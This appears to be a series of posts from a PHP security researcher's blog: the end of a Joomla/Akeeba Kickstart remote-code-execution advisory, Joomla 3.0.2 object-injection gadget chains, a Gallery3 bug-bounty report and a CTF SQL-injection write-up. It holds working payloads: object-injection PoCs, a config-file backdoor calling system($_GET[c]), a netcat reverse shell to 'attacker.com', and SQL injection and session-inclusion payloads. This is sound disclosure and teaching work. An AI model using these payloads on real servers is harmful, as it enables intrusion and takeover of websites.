Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist['kickstart.security.password'] = '';
	}
}

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/exploit.zip';
		$this->addPath = '/var/www/joomla/';
	}
}

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('kickstart.security.password', null);
if(!empty($password))
{
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
}

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
if(empty($destdir))
{
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);
}

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:

/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

Timeline

[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released


Joomla! 3.0.2 POI (CVE-2013-1453) – Gadget Chains

October 3, 2014

I am still developing a new prototype for the precise static code analysis of PHP applications as part of my PhD research. Recently, I added the detection of second-order vulnerabilities and the analysis of exploitable gadget chains for PHP Object Injection (POI) / unserialize vulnerabilities.

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

// plugins/system/debug/debug.php

class plgSystemDebug
{
	public function __destruct()
	{ 
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}
	}

	private function isAuthorisedDisplayDebug()
	{
		$filterGroups = (array) $this->params->get('filter_groups', null);
		...
	}

The get() method in JInput can be used to trigger a file deletion and the method in JCategories triggers a blind SQL injection. Lets have a look at the get() method of the class JViewLegacy:

// libraries/legacy/view/legacy.php

class JViewLegacy
{
	public function get($property, $default = null)
	{
		if (is_null($default))
		{
			$model = $this->_defaultModel;
		}
		else
		{
			$model = strtolower($default);
		}

		if (isset($this->_models[$model]))
		{
			$method = 'get' . ucfirst($property);

			if (method_exists($this->_models[$model], $method))
			{
				...
			}

		}
	}
}

While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():

"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

Joomla! 3.0.2 defines two autoloaders:

spl_autoload_register(array('JLoader', 'load'));  
spl_autoload_register(array('JLoader', '_autoload')); 

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

// libraries/loader.php

abstract class JLoader
{
	private static function _load($class, $lookup)
	{
		// Split the class name into parts separated by camelCase.
		$parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class);

		foreach ($lookup as $base)
		{
			$path = $base . '/' . implode('/', array_map('strtolower', $parts)) . '.php';

			if (file_exists($path))
			{
				 include $path;
			}
		}
	}
}

For example, the unknown class JFooBar will result in the following three autoload lookups:

libraries/joomla/foo/bar.php
libraries/legacy/foo/bar.php
libraries/cms/foo/bar.php

Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

// PoC

class JViewLegacy {
	protected $_defaultModel;
	protected $_models = array();
	public function __construct() {
		$this->_defaultModel = 'rips';
		$this->_models['rips'] = "J../../../../../../etc/passwd\x00";
	}
}

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

// libraries/joomla/filesystem/stream.php

class JStream
{
	public function __destruct()
	{
		if ($this->fh)
		{
			@$this->close();
		}
	}

	public function close()
	{
		if ($this->openmode[0] == 'w')
		{
			$this->chmod();
		}
	}

	public function chmod($filename = '', $mode = 0)
	{
		if (!$filename)
		{
			$filename = $this->filename;
		}

		if (!$mode)
		{
			$mode = $this->filemode;
		}

		$sch = parse_url($filename, PHP_URL_SCHEME);

		switch ($sch)
		{
			case 'ftp':
			case 'ftps':
				$res = JFilesystemHelper::ftpChmod($filename, $mode);
				break;

			default:
				$res = chmod($filename, $mode);
				break;
		}
	}
}

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

// PoC

class JFilesystemStream {
}

class JStream {
	protected $fh;
	protected $openmode;
	protected $filename;
	protected $filemode;
	public function __construct() {
		$this->fh = true;
		$this->openmode[0] = 'w';
		$this->filename = '/tmp/rips';
		$this->filemode = 0777;
	}
}

echo base64_encode(serialize(array(array(new JFilesystemStream, new JStream))));

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

// libraries/joomla/cache/storage/file.php

class JCacheStorageFile {

	public function get($id, $group, $checkTime = true)
	{
		$path = $this->_getFilePath($id, $group);
		...
	}

	protected function _getFilePath($id, $group)
	{
		$name = $this->_getCacheId($id, $group);
		$dir = $this->_root . '/' . $group;

		if (!is_dir($dir))
		{
			$indexFile = $dir . '/index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '');
		}
	}
}

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.


Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");
      }
    }

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> 'attacker.com',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {
    access::verify_csrf();

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -hattacker.com -ureiners -p1 ; 
nc attacker.com 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.


Project RIPS v0.54 – Status

February 1, 2013

I just updated RIPS and fixed some JavaScript errors that came up due to the latest browser updates (thank you for the reports). You can download it here. Now the code viewer and other window features should work again. At the same time I am announcing that the current version of RIPS will not be enhanced. The current engine does not allow further enhancement and suffers from bad language parsing. This leads to an inacceptable rate of false positives. Further, the current engine can not be extended to support OOP.

The good news is that I have rewritten RIPS completely during the past 6 month during my final master thesis at the Ruhr-University Bochum. RIPS 1.0 now uses Abstract Syntax Trees, Control Flow Graphs, and Context-Sensitive String Analysis doing it the academic way ;). The result looks very promising, but its worthless to share any results/numbers without sharing the tool. It is still under development and a release date is unknown, but already in its current state it is way better than RIPS 0.5. In the end, full OOP support is planned. Any updates will be released here or via twitter.

The project continues … =)


Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them :)

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


Follow

Get every new post delivered to your Inbox.

Join 87 other followers